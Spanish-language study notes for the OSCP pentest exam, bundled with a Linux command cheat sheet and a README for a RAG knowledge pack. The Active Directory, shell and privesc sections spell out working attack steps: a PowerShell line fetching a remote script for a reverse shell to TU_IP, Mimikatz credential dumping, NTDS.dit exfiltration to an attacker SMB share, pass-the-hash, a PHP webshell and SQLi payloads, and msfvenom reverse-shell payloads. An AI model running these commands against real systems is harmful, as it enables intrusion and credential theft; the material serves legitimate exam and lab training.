Para cambiar los permisos de un fichero o carpeta: usa chmod. chmod 755 fichero (rwx dueño, rx resto). chmod +x da permiso de ejecucion.


Para cambiar el dueño de un fichero: usa chown. chown usuario:grupo fichero. Con -R para una carpeta entera.


Para comprimir una carpeta en un archivo: usa tar. tar czf archivo.tar.gz carpeta/ comprime. tar xzf archivo.tar.gz extrae.


Para descomprimir un zip: usa unzip. unzip archivo.zip. Con -d carpeta para donde.


Para buscar texto dentro de ficheros: usa grep. grep -r 'texto' carpeta/ busca en todo. grep -i ignora mayusculas.


Para buscar ficheros por nombre: usa find. find /ruta -name '*.txt' busca por nombre. -type f solo ficheros.


Para ver los puertos abiertos en escucha: usa ss. ss -tlnp lista los puertos TCP en escucha con su proceso.


Para ver que procesos consumen mas: usa top. top o htop en tiempo real. ps aux --sort=-%cpu para una foto.


Para matar un proceso: usa kill. kill PID lo termina. kill -9 PID a la fuerza. pkill nombre por nombre.


Para ver el espacio libre en disco: usa df. df -h muestra el espacio por particion.


Para ver cuanto ocupa una carpeta: usa du. du -sh carpeta/ el tamaño total.


Para ver la memoria libre: usa free. free -h muestra RAM y swap.


Para descargar un fichero de internet: usa wget. wget URL descarga. curl -O URL tambien. curl -L sigue redirecciones.


Para copiar ficheros a un servidor: usa scp. scp fichero usuario@servidor:/ruta lo sube. scp -r para carpetas.


Para sincronizar carpetas: usa rsync. rsync -av origen/ destino/ copia solo lo cambiado. -z comprime en red.


Para editar un fichero de texto: usa nano. nano fichero (facil) o vim fichero. Ctrl+O guarda y Ctrl+X sale en nano.


Para ver el contenido de un fichero: usa cat. cat fichero. less fichero para leer largo. head/tail para principio/final.


Para ver los ultimos cambios de un fichero de log: usa tail. tail -f log sigue en vivo. tail -n 50 las ultimas 50 lineas.


Para ver los servicios del sistema: usa systemctl. systemctl status servicio. start/stop/restart para manejarlo.


Para ver los mensajes del sistema: usa journalctl. journalctl -xe lo reciente. journalctl -u servicio de un servicio.


Para montar un disco o usb: usa mount. mount /dev/sdX1 /mnt monta. lsblk lista los discos. umount desmonta.


Para ver la configuracion de red: usa ip. ip a las interfaces y sus IP. ip r la tabla de rutas.


Para escanear una red o unos puertos: usa nmap. nmap -sV objetivo detecta servicios. nmap -p- todos los puertos.


Para ver el uso de red en vivo: usa iftop. iftop o nload muestran el trafico en vivo.


Para cambiar de directorio y listar: usa ls. ls -la lista con detalles y ocultos. cd carpeta entra. pwd dice donde estas.


Para crear una carpeta: usa mkdir. mkdir carpeta. mkdir -p a/b/c crea la ruta entera.


Para mover o renombrar: usa mv. mv origen destino mueve o renombra.


Para copiar ficheros: usa cp. cp origen destino. cp -r para carpetas.


Para borrar ficheros: usa rm. rm fichero. rm -r carpeta. CUIDADO: no hay papelera, es definitivo.


Para dar permisos de administrador a un comando: usa sudo. sudo comando lo ejecuta como root. Pide tu contraseña.


Para ver el historial de comandos: usa history. history lista lo tecleado. Ctrl+R busca.


Para programar una tarea periodica: usa cron. crontab -e edita tus tareas. Formato: min hora dia mes diasemana comando.


Para ver la temperatura y el hardware: usa sensors. sensors muestra temperaturas. lscpu la CPU, lspci los dispositivos.


Para gestionar paquetes en Debian: usa apt. apt install paquete, apt update actualiza la lista, apt upgrade el sistema.


Para ver o cambiar variables de entorno: usa export. export VAR=valor la pone. env las lista. echo $VAR la muestra.


Para comprobar si un comando esta instalado: usa which. which comando dice donde esta, o nada si no esta. type comando tambien.


Para ver diferencias entre dos ficheros: usa diff. diff a b muestra las diferencias. diff -u formato de parche.


Para contar lineas palabras o bytes: usa wc. wc -l lineas, wc -w palabras. cat fichero | wc -l cuenta lineas.


Para conectarse a una base de datos: usa psql. psql -U usuario base para Postgres. mysql -u usuario -p para MySQL.


Para ver quien esta conectado: usa who. who los usuarios. w con lo que hacen.


# Apuntes Active Directory Pentest

Mimikatz · Impacket · Kerberos · BloodHound · Pivoting

---


```
        ┌─────────────────────────────┐     ┌──────────────────────────────┐
        │        TU KALI/DEBIAN        │     │       VICTIMA WINDOWS         │
        │       (la atacante)          │     │     (cliente o servidor)      │
        ├─────────────────────────────┤     ├──────────────────────────────┤
        │                              │     │                               │
        │  ┌─ Impacket ─────────────┐  │     │  ┌─ Procesos a saquear ─┐    │
        │  │ secretsdump  (hashes) ├──┼─────┼──┤ LSASS (creds en RAM)  │    │
        │  │ psexec       (shell)  ├──┼─SMB─┼──┤ NTDS.dit (BD usuarios)│    │
        │  │ GetUserSPNs  (kerb)   ├──┼─────┼──┤ SAM/SYSTEM           │    │
        │  │ getTGT       (kerb)   │  │     │  └──────────────────────┘    │
        │  └────────────────────────┘  │     │                               │
        │                              │     │  ┌─ Lo que SUBES tú ────┐    │
        │  ┌─ BloodHound ───────────┐  │     │  │ mimikatz.exe         │    │
        │  │ sharphound (recolecta) ├──┼─LDAP┼──┤ winPEAS              │    │
        │  │ neo4j + GUI (visualiza)│  │     │  │ Invoke-ConPtyShell.ps1│   │
        │  └────────────────────────┘  │     │  │ Invoke-PowerShellTcp │    │
        │                              │     │  └──────────────────────┘    │
        │  ┌─ Listener / loot ──────┐  │     │                               │
        │  │ nc -lvnp 4444 (shell)  │◄─┼─TCP─┼─── reverse shell             │
        │  │ python3 -m http.server │◄─┼─HTTP┼─── descargan tus tools       │
        │  │ smbserver.py (loot)    │◄─┼─SMB─┼─── exfiltras NTDS.dit, etc.  │
        │  └────────────────────────┘  │     │                               │
        └─────────────────────────────┘     └──────────────────────────────┘
```


**Idea clave**: tú no tienes "GUI" central. Cada herramienta es **independiente** y se comunica por **red** con la víctima. Tu Kali es un puesto de mando con muchos terminales abiertos a la vez.

---


### Mimikatz

**Es un .exe que se ejecuta DENTRO de la víctima Windows.** No corre en Kali. Su trabajo: leer la memoria del proceso `LSASS` (que guarda credenciales en claro/hash mientras la sesión está activa) y volcarlas.

```
   tú (Kali)                   víctima Windows
   ─────────                   ────────────────
        │
        │  1. Levantas HTTP en tu carpeta de herramientas
        │
        │             ┌────────────┐
        │  2. desde   │ PowerShell │  iwr http://kali/mimikatz.exe -o m.exe
        │  reverse    │   shell    │
        │  shell ──►  └─────┬──────┘
        │                   │
        │                   ▼
        │             ┌────────────────┐
        │             │  m.exe         │  privilege::debug
        │             │                │  sekurlsa::logonpasswords
        │  4. ves ◄───┤  vuelca creds  │  lsadump::sam
        │  hashes     │  del LSASS    │  lsadump::dcsync /user:Administrator
        │             └────────────────┘
```


### Impacket

**Es una suite Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) **sin necesidad de ser Windows**. Es como tener un "Windows hablante" en tu Kali.

Los más útiles:

```
impacket-psexec        → te da shell en la víctima si tienes creds (estilo PsExec)
impacket-wmiexec       → ejecutas comandos sin tocar disco
impacket-smbexec       → otra forma de ejecución remota
impacket-secretsdump   → vuelca todo el NTDS.dit y SAM de un DC, en remoto
impacket-GetUserSPNs   → ataque KERBEROASTING (saca TGS de cuentas de servicio)
impacket-GetNPUsers    → ataque ASREPROAST (usuarios sin pre-auth Kerberos)
impacket-getTGT        → forja/pide un TGT con cred conocida
impacket-getST         → pide un service ticket
impacket-smbserver     → monta un share SMB falso (para exfiltrar a Kali)
impacket-ntlmrelayx    → relay attacks NTLM
```


### Kerberos en 30 segundos

```
         ┌──────────┐                ┌────────────────┐
         │ Usuario  │  ¿Pwd?         │ KDC (Domain    │
         │ (cliente)│ ─────────────► │  Controller)   │
         └────┬─────┘                └────┬───────────┘
              │                           │
              │  ◄──── TGT (te identifica)│
              │                           │
              │  TGT + "quiero \\fileSrv" │
              ├──────────────────────────►│
              │                           │
              │  ◄──── TGS (para fileSrv)│
              │                           │
              │           ┌───────────┐   │
              └──────────►│ fileServer│ "este TGS prueba que soy yo"
                          └───────────┘
```

- **TGT** = "carnet maestro" del KDC. Lo guarda el cliente.
- **TGS** = "ticket de un día" para hablar con un servicio concreto.
- **Trucos**: si pillas un TGT/TGS válido lo puedes **reutilizar** (pass-the-ticket). Si pillas el hash de `krbtgt` (la cuenta que firma TODOS los TGT) puedes forjar **Golden Tickets** = ser cualquiera, para siempre.

---


## La cadena de ataque "OSCP típica" con esto


```
  ┌─────────────────────────────────────────────────────────────────┐
  │                                                                  │
  │  1) RCE inicial en una web ───────► reverse shell PowerShell    │
  │     (sqli, file upload, etc.)        en máquina USUARIO1        │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  2) WinPEAS desde tu carpeta ──► subes y ejecutas                    │
  │     enumera permisos, AlwaysInstallElevated, etc.               │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  3) Local privesc ──► SYSTEM en USUARIO1                        │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  4) Mimikatz ──► sekurlsa::logonpasswords                       │
  │     → hash NTLM de un usuario de dominio (DOMAIN\juan)          │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  5) BloodHound ──► "¿juan es admin en algún sitio?"             │
  │     "¿juan puede llegar a Domain Admin por algún camino?"       │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  6) Impacket-psexec con el hash de juan ──► shell en SERVER2    │
  │     impacket-psexec -hashes :HASH 'juan@server2.local'          │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  7) Si server2 = Domain Controller:                             │
  │     impacket-secretsdump ──► vuelcas TODA la BD del dominio     │
  │     (NTDS.dit, krbtgt, etc.)                                    │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  8) Con hash de krbtgt:                                         │
  │     impacket-ticketer ──► Golden Ticket → eres dios            │
  │                                                                  │
  └─────────────────────────────────────────────────────────────────┘
```


### A) Levantas tu "puesto de mando" en Kali (terminales abiertos)

```
┌─ Terminal 1 (listener de shells) ─────────────────────────┐
│ stty raw -echo; (stty size; cat) | nc -lvnp 4444          │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 2 (HTTP para servir tus tools a la víctima) ────┐
│ cd tu carpeta                                     │
│ python3 -m http.server 80                                 │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 3 (SMB para que la víctima TE envíe ficheros) ──┐
│ mkdir /tmp/loot && cd /tmp/loot                           │
│ impacket-smbserver loot . -smb2support                    │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 4 (tu shell de trabajo: nxc, impacket, etc.) ───┐
│ $                                                          │
└────────────────────────────────────────────────────────────┘
```


### B) Recibes una reverse shell

Tienes RCE en la víctima (por ejemplo SQLi → xp_cmdshell, o file upload). Le metes:

```powershell
IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
```

Tu Terminal 1 te da una shell **interactiva** Windows.


# Dentro de la shell, en la víctima:
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe
C:\Windows\Temp\m.exe
```

Y dentro de mimikatz:

```
privilege::debug
sekurlsa::logonpasswords
```

Te aparecen hashes NTLM, Kerberos tickets en memoria, a veces hasta contraseñas en claro (wdigest).


### D) Exfiltras un fichero grande (NTDS.dit, etc.)

Desde la víctima:

```cmd
copy C:\Windows\NTDS\ntds.dit \\TU_IP\loot\
```

Aparece en `/tmp/loot/` en tu Kali. **Esto sustituye al wget**, porque SMB cifra y atraviesa muchos firewalls.


### E) Lateral movement con Impacket (sin reverse shell nueva)

Una vez tienes hash de un user privilegiado:

```bash
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
```

Te da shell SYSTEM en otra máquina, **sin necesidad de meter ninguna reverse shell**. Por encima de la red, autenticado, limpio.


### F) Pivoting (entrar en una red interna) con ligolo-ng

```
  TU KALI                    USUARIO1                   RED INTERNA
  10.10.10.5                10.10.10.50                 192.168.5.0/24
     │                          │                            │
     │       ligolo proxy       │                            │
     │   ───── tunel ─────►     │                            │
     │                          │                            │
     │                     ligolo agent ─── puede llegar ──► 192.168.5.10 (DC)
     │                          │
     │  añades ruta:            │
     │  ip route add            │
     │   192.168.5.0/24 dev ligolo
     │
     │  ahora desde Kali:
     │  impacket-psexec admin@192.168.5.10  ◄── el tráfico va por el túnel
     ▼
```

---


### Qué hace

Te dibuja Active Directory **como un grafo**. Nodos = usuarios, grupos, máquinas. Aristas = relaciones (member of, admin de, puede leer LAPS, etc.). Luego le preguntas:

> "¿Cuál es el camino más corto desde **juan** hasta **Domain Admins**?"

Y te lo pinta. Te ahorra **días** de mirar listados de grupos a mano.


```
         ┌─────────┐   MemberOf   ┌──────────────┐
         │  juan   ├─────────────►│ HelpDesk     │
         └─────────┘              └──────┬───────┘
                                          │ AdminTo
                                          ▼
                                   ┌──────────────┐
                                   │ workstation42│
                                   └──────┬───────┘
                                          │ HasSession (admin con sesión activa aquí)
                                          ▼
                                   ┌──────────────┐
                                   │ ana          │
                                   └──────┬───────┘
                                          │ MemberOf
                                          ▼
                                   ┌──────────────┐
                                   │ Domain Admins│  ← jackpot
                                   └──────────────┘
```


### Componentes

```
   ┌──────────────────┐         ┌─────────────────┐         ┌──────────────┐
   │ SharpHound (.exe)│  o      │ bloodhound-python│  ────►  │  JSON files  │
   │ corre en víctima │         │ corre en Kali    │         │  con datos AD│
   └──────────────────┘         └─────────────────┘         └──────┬───────┘
                                                                    │
                                                                    ▼
                                                          ┌──────────────────┐
                                                          │ BloodHound GUI   │
                                                          │ (en tu Kali)     │
                                                          │   +              │
                                                          │ Neo4j (base BD)  │
                                                          └──────────────────┘
```


- **SharpHound** = el "recolector" que enumera AD. Hay versión `.exe` (subes a víctima) y `.py` (corres desde Kali si ya tienes creds y conectividad).
- **BloodHound GUI** = la interfaz gráfica donde cargas el JSON y haces queries.
- **Neo4j** = la base de datos del grafo (la GUI la necesita).


### Instalación en Debian

```bash
sudo apt install -y bloodhound bloodhound.py
```

```bash


# Neo4j (la BD que necesita BloodHound)
sudo apt install -y neo4j
sudo systemctl start neo4j
sudo neo4j-admin set-initial-password 'BloodHound1!'
```


# 1) Recolectar datos desde Kali (necesitas creds válidas)
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All


## Resumen TL;DR

| Pregunta | Respuesta |
|---|---|
| ¿Tengo GUI central? | **No**. Tu "GUI" es tener varios terminales abiertos. BloodHound es la única tool con GUI propia. |
| ¿Reverse shell? | `nc` + `Invoke-ConPtyShell` desde la víctima. Lo recibes en `nc -lvnp 4444`. |
| ¿Cómo envío datos? | **Subes** con `python3 -m http.server`. **Recibo** con `impacket-smbserver`. |
| ¿Cómo pivoto? | `ligolo-ng` (proxy en Kali + agent en víctima). Una vez montado, las herramientas tiran por el túnel transparente. |
| ¿BloodHound? | `apt install bloodhound bloodhound.py neo4j`. |
| ¿Mimikatz? | Descargado en `tu carpeta`. Se ejecuta **en la víctima**, no en Kali. |
| ¿Impacket? | Instalado a nivel sistema (`impacket-*`). Corre en Kali, habla con víctimas. |


# 🗺 OSCP — Mapa Central (MOC)

> Nota hub del vault. Desde aquí salen todos los caminos.
> Origen: apuntes propios en `tu carpeta` + material de un laboratorio.


## La espina dorsal
La Metodología OSCP es lo único que de verdad importa. Todo lo demás cuelga de ella:

```
Enumeración → vector → foothold (Reverse shell) →
Privesc Linux / Privesc Windows → loot (Mimikatz) →
Movimiento lateral / Active Directory → documentar (Reporte OSCP)
```


### 🧭 Metodología y examen
- Metodología OSCP · Estructura del examen · Gestión del tiempo
- Reporte OSCP · Reglas de herramientas


### 🔍 Enumeración
- Enumeración (índice) · Nmap · Nmap NSE · Puertos olvidados
- SMB · SNMP · Netcat · RDP
- Enumeración web · Content discovery · Vhosts y subdominios
- searchsploit · Trampas de enumeración


### 🌐 Explotación web
- Hacking web (índice/metodología) · Burp Suite · Burp Repeater e Intruder
- SQL injection · Command injection · Directory traversal · LFI a RCE
- File upload bypass · XSS · SSTI · Authentication attacks


### 🐚 Shells y transferencia
- Puesto de mando Kali · Reverse shell · Estabilizar shell TTY
- Egress filtering · Transferencia de ficheros


### ⬆ Escalada de privilegios
- Privesc Linux · Privesc Windows · PEASS-ng
- Potato attacks · GTFOBins y LOLBAS


### 🏰 Active Directory
- Active Directory (índice) · Kerberos · Kerberoasting · AS-REP Roasting
- Mimikatz · Impacket · BloodHound
- Pass-the-Hash · DCSync · Golden Ticket · Silver Ticket · secretsdump
- Movimiento lateral · Pivoting ligolo-ng
- GPP cpassword · LAPS · ACL abuses


### 🧪 Avanzado / Post-explotación
- Buffer Overflow · Metasploit · msfvenom
- Tunneling · Cracking de contraseñas · Exploits conocidos
- AV evasion · Client-side attacks


### ⌨ Cheatsheets de shell
- Operadores Bash · Operadores PowerShell
- Port scanner PowerShell · Bucles bash sobre IPs


# Conocimiento

Metodología de pentesting y Linux que **viene con el repo**, para que un clon
recién hecho ya sepa de estas cosas sin depender de los apuntes privados de
nadie. `indexa.py` lo indexa junto a las man pages y el glosario.

Son apuntes propios (estilo OSCP) organizados por fase —enumeración, explotación
web, shells, escalada de privilegios, Active Directory, cheatsheets, avanzado—
con los comandos que se usan de verdad. Usan marcadores como `TU_IP` en vez de
direcciones reales; están limpios de datos personales (sin hosts, credenciales,
rutas ni referencias privadas).

`06 - Cheatsheets/Comandos de herramientas.md` reúne las invocaciones más usadas
de las herramientas que no traen man page (ffuf, sqlmap, la suite impacket,
netexec, hydra, evil-winrm...). `09 - Manuales/` va un paso más allá: es la salida
de `--help` de esas mismas herramientas, cosechada con `../manuales.py` de la
propia herramienta instalada y limpia de rutas. Entre las dos cosas —la
invocación común y la referencia completa de opciones— el modelo tiene el manual
que la man page no da. Si instalas una herramienta más, corre `manuales.py` y
manda el `.md` nuevo: es un buen commit.


Es la parte del RAG que SÍ se publica: el conocimiento genérico. Los apuntes
personales del usuario (su `saber.jsonl`, su diario) no se suben —ver
[../../../PRIVACIDAD.md](../../../PRIVACIDAD.md)—; este pack los complementa, y en
la máquina del usuario se solapan y el deduplicado de `busca.py` los colapsa.

Añadir o corregir metodología aquí es un buen commit: es Markdown, se indexa
solo, y mejora a todo el que clone.


# Trucos y Trampas — OSCP / Pentest

> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB).
> **No** son contenidos del Discord privado de OffSec ni material bajo NDA.
> Son **anti-rabbit-holes**, **detalles olvidados** y **patrones que se repiten** en máquinas estilo OSCP.

---


## Trampas de enumeración (donde la gente pierde 4 horas)

```
─ Olvidar UDP ────────────────────────────────────────────
   nmap -sU --top-ports 50 -T4 IP
   SNMP (161), TFTP (69), NTP (123) suelen dar oro

─ Olvidar puertos altos ──────────────────────────────────
   nmap solo escanea top 1000 por defecto
   SIEMPRE: nmap -p- --min-rate=5000 IP  (los 65535)

─ Olvidar vhosts/subdominios ─────────────────────────────
   Si te encuentras "default Apache page", prueba:
   gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
   ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP

─ /etc/hosts no actualizado ──────────────────────────────
   Si la web carga rara o redirige, mira el "Host:" header
   Añade el dominio a /etc/hosts SIEMPRE que aparezca

─ HTTPS revela hostnames ─────────────────────────────────
   openssl s_client -connect IP:443
   El cert te puede chivar el dominio real

─ Wordlists pequeñas ─────────────────────────────────────
   common.txt = junior level
   Para OSCP: raft-large-words.txt, directory-list-2.3-medium.txt
   gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-...
```

---


## Trampas web

```
─ "robots.txt es perezoso" ───────────────────────────────
   Mira también: sitemap.xml, .git/, .svn/, .htaccess,
   .DS_Store, backup/, old/, dev/, test/, admin/

─ Source HTML / JS ───────────────────────────────────────
   Ctrl+U siempre. Comentarios con creds, paths, endpoints
   JS embebidos con APIs ocultas (LinkFinder, JSparser)

─ LFI → RCE ──────────────────────────────────────────────
   Si tienes LFI básico, prueba:
     /proc/self/environ          (con User-Agent malicioso)
     /var/log/apache2/access.log (poison + curl con UA payload)
     php://filter/convert.base64-encode/resource=index.php
     data://, expect://, phar:// (PHP wrappers)

─ Upload "filtrado" ──────────────────────────────────────
   Doble extensión: shell.php.jpg, shell.phtml, .phar, .pht
   Magic bytes: GIF89a;<?php system($_GET['c']); ?>
   Burp → cambia Content-Type a image/jpeg
   .htaccess para reasignar handler

─ SQLi sin sqlmap ────────────────────────────────────────
   Aprende manual primero. sqlmap a veces miente.
   Para login: ' OR '1'='1'-- - (con space-doble-dash-space)
   Time-based: ' AND SLEEP(5)-- -
```

---


## Trampas de shell

```
─ Shell rota = tortura ────────────────────────────────────
   python3 -c 'import pty; pty.spawn("/bin/bash")'
   Ctrl+Z
   stty raw -echo; fg
   export TERM=xterm
   stty rows 40 columns 120
   (rows/cols los sacas con "stty size" en TU kali)

─ Listener equivocado ────────────────────────────────────
   nc clásico para Linux victim
   ncat --ssl para evitar IDS
   stty raw -echo + nc para Windows ConPtyShell

─ Egress filtering ───────────────────────────────────────
   El firewall del objetivo bloquea ciertos puertos
   PRUEBA: 80, 443, 8080, 53, 4444. Si nada, ICMP shell.
```

---


## Privesc Linux — los 10 olvidados

```
1.  SUID exóticos     → find / -perm -4000 2>/dev/null
                        (y luego GTFOBins cada uno)
2.  sudo -l           → SIEMPRE primero, sin password
3.  Capabilities      → getcap -r / 2>/dev/null
                        (cap_setuid en python/perl = root)
4.  Cron escribibles  → cat /etc/crontab, /var/spool/cron
                        Scripts que tú puedes editar
5.  Wildcard injection→ "tar czf /backup/* " con file --checkpoint
6.  PATH abuse        → si un script SUID llama "ps" sin ruta
                        absoluta, creas ./ps malicioso
7.  NFS no_root_squash→ showmount -e ; montas y subes SUID
8.  Docker group      → si estás en grupo "docker", eres root:
                        docker run -v /:/mnt -it alpine chroot /mnt
9.  Kernel exploits   → último recurso. DirtyCow, DirtyPipe
                        (uname -a; searchsploit kernel x.x)
10. Caps de archivo   → /var/backups, /etc/passwd escribible,
                        /etc/shadow legible
```

---


```
1.  whoami /priv      → busca SeImpersonate, SeAssignPrimaryToken
                        → JuicyPotato, PrintSpoofer, GodPotato
2.  Unquoted services → wmic service get name,pathname,startmode
                        Path con espacios sin comillas + carpeta
                        escribible = exe propio
3.  AlwaysInstallElev → reg query HKLM\Software\Policies\Microsoft\
                        Windows\Installer
                        Si ambos = 1 → msi propio = SYSTEM
4.  Service permisos  → accesschk.exe -uwcqv user *
                        SERVICE_CHANGE_CONFIG = ownership
5.  Credenciales en disco→ recurse find:
                        Unattend.xml, sysprep.inf, web.config,
                        cmdkey /list, registry SAM/SYSTEM
6.  AutoLogon en regis→ HKLM\SOFTWARE\Microsoft\Windows NT\
                        CurrentVersion\Winlogon
7.  Pass spraying     → la misma pass del user normal contra
                        admin, administrator, sa, sysadmin
8.  WSL / OpenSSH server → veces hay credenciales en .bash_history
9.  Scheduled tasks   → schtasks /query /fo LIST /v
                        Tareas con scripts editables
10. UAC bypass + token impersonation
```

---


## Active Directory — los 7 caminos que SIEMPRE pruebas

```
1.  Anonymous SMB     → smbclient -L //IP -N
                        nxc smb IP -u "" -p ""
2.  AS-REP Roasting   → impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass
                        (usuarios con "Do not require pre-auth")
3.  Kerberoasting     → impacket-GetUserSPNs dominio/user:pass -request
                        (cuentas de servicio con SPN)
4.  GPP cpassword     → buscar en \\DC\SYSVOL\<dom>\Policies\
                        Groups.xml con cpassword (rotos en clave AES fija)
5.  LAPS              → nxc ldap IP -u u -p p --module laps
6.  ACL abuses        → BloodHound te los pinta:
                        GenericAll, WriteDACL, AddMember, ForceChangePassword
7.  DCSync            → con permisos DS-Replication, dumpear todo el dominio
```

---


## Trampas de "examen real" (anti-pánico)

```
─ Time management ────────────────────────────────────────
   24h ≠ 24h. Duermes 6h. Comes. Te duchas.
   Regla: 1.5h sin progreso = cambia de máquina.
   Cierra y vuelve más tarde con cabeza fresca.

─ Documentación EN VIVO ──────────────────────────────────
   Captura TODO con Flameshot/Greenshot mientras lo haces.
   No al final. Al final no recuerdas el comando exacto.
   Cada flag con hostname visible (ipconfig/ifconfig).
   local.txt = user proof, proof.txt = root proof.

─ Reutilización de credenciales ──────────────────────────
   La pass del usuario A muchas veces vale para usuario B.
   PRUEBA siempre cada pass que pillas contra TODOS los hosts.

─ El AD set es 40 puntos seguidos ────────────────────────
   3 máquinas encadenadas. Si te atascas en máquina 1,
   no avanzas en 2 y 3. Empieza por ahí con tiempo.

─ Standalones independientes ─────────────────────────────
   3 máquinas independientes de 20pts cada una.
   user (10pt) + root (20pt). Saca user de las 3
   ANTES de obsesionarte con root de una.


─ Reporte cuenta ─────────────────────────────────────────
   Sin reporte, no apruebas, aunque saques 100 puntos
   técnicos. 24h después del examen. Markdown template:
   https://github.com/noraj/OSCP-Exam-Report-Template-Markdown

─ Metasploit limitado ────────────────────────────────────
   Puedes usarlo solo en UNA máquina.
   meterpreter post-explotation no cuenta como "uso"
   solo el initial foothold cuenta.
```

---


## Recursos públicos donde sí está todo esto

| Recurso | Por qué importa |
|---|---|
| **TJ Null's OSCP-like list** (en Reddit) | Lista actualizada de máquinas HTB/THM equivalentes a OSCP |
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista todas las máquinas HTB donde aparece) |
| **0xdf.gitlab.io** | Writeups detalladísimos con explicación pedagógica |
| **PayloadsAllTheThings** | Cheatsheet de todo lo web |
| **HackTricks (book.hacktricks.xyz)** | La biblia. Lo busques lo que busques está ahí |
| **GTFOBins / LOLBAS** | Para privesc Linux y LOLBins Windows |
| **/r/oscp** | Subreddit con experiencias de examinados (sin spoilers) |
| **Discord públicos**: HTB, TryHackMe, NetSecFocus | Comunidades activas que SÍ puedes consultar |

---


## Truco meta de meta-trucos

El truco real del OSCP no es saber 200 técnicas. Es **tener una metodología repetible**:

```
Enumeración exhaustiva → vector → foothold →
PrivEsc con script automatizado + revisión manual →
documentar antes de pasar a siguiente máquina
```

La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.


# msfvenom

> El generador de payloads. Lo usas en Buffer Overflow, AV evasion, Client-side attacks, Exploits conocidos y con el handler de Metasploit.


## Anatomía
```bash
msfvenom -p <payload> LHOST=TU_IP LPORT=443 -f <formato> -o salida [-b badchars] [-e encoder]
```


## Payloads frecuentes
```
windows/shell_reverse_tcp        shell normal (no necesita Metasploit para recibir → nc)
windows/meterpreter/reverse_tcp  meterpreter (recíbelo con multi/handler)
linux/x86/shell_reverse_tcp
windows/x64/shell_reverse_tcp    (x64)
```


## Formatos (-f) según el caso
```
exe      ejecutable Windows          dll   DLL hijacking / Exploits conocidos
raw      shellcode crudo (B0F)       py    para tu script de Buffer Overflow
psh / powershell                     hta-psh   Client-side attacks
aspx / war / jsp                     webshells para upload
elf      ejecutable Linux
```


## Ejemplos
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f exe -o rev.exe
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -f py
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1   # → AV evasion
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta
```
- Encoders (`-e x86/shikata_ga_nai`) ofuscan, **no** evaden AV moderno por sí solos → ver AV evasion.

Relacionado: Reverse shell · Metasploit · OSCP MOC


conocimiento/08 - Avanzado/Cracking de contraseñas.md

# Cracking de contraseñas

> Generar wordlists y romper hashes/credenciales offline y online. Fuente: oscp.trastero.org/passwords.


## hashcat — los modos que importan
```
-m 0      MD5            -m 100   SHA1         -m 1000  NTLM
-m 1800   sha512crypt ($6$, /etc/shadow)
-m 5600   NetNTLMv2 (capturado con Responder → Client-side attacks)
-m 13100  Kerberoast TGS ($krb5tgs$)   → Kerberoasting
-m 18200  AS-REP ($krb5asrep$)         → AS-REP Roasting
-m 22000  WPA-PBKDF2     -m 13400  KeePass
```
```bash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
```


## John the Ripper
```bash
unshadow /etc/passwd /etc/shadow > unshadowed
john --format=NT hashes.txt --wordlist=rockyou.txt
zip2john file.zip > z.hash ; rar2john ; ssh2john id_rsa ; keepass2john   # extractores
john --rules --wordlist=rockyou.txt z.hash
```


## Wordlists a medida
```bash
cewl http://IP -m 6 -w custom.txt           # palabras de la propia web
crunch 8 8 -t @@@@%%%% -o crunch.txt          # patrones
```


## Online (servicio en vivo)
```bash
hydra -L users.txt -P rockyou.txt ssh://IP   # ver Authentication attacks
medusa -h IP -u admin -P pass.txt -M smbnt
fcrackzip -u -D -p rockyou.txt secret.zip     # ZIP
crowbar -b rdp -s IP/32 -u admin -C pass.txt  # RDP
```

Relacionado: Authentication attacks · Kerberoasting · Pass-the-Hash · OSCP MOC


conocimiento/08 - Avanzado/Exploits conocidos.md

# Exploits conocidos (CVEs)

> Exploits públicos que aparecen una y otra vez. Localízalos con searchsploit y **léelos antes de lanzarlos**. Fuente: oscp.trastero.org/exploits.


## Linux (privesc local)
```
CVE-2021-4034   PwnKit / pkexec (polkit)  → casi universal, sin dependencias
CVE-2021-3156   Baron Samedit (sudo)
CVE-2022-0847   Dirty Pipe (kernel ≥5.8)
CVE-2016-5195   Dirty COW (kernel viejo)
CVE-2012-0056   Mempodipper
```
Comprueba versión: `uname -a`, `sudo --version`, y mira Privesc Linux antes del kernel exploit.


## Windows
```
MS17-010        EternalBlue (SMBv1)      → foothold remoto
PrintNightmare  CVE-2021-1675 / 34527    → privesc/RCE vía spooler
SpoolFool       CVE-2022-21999           → privesc spooler
HiveNightmare   CVE-2021-36934 (SeriousSAM) → lee SAM como user
```
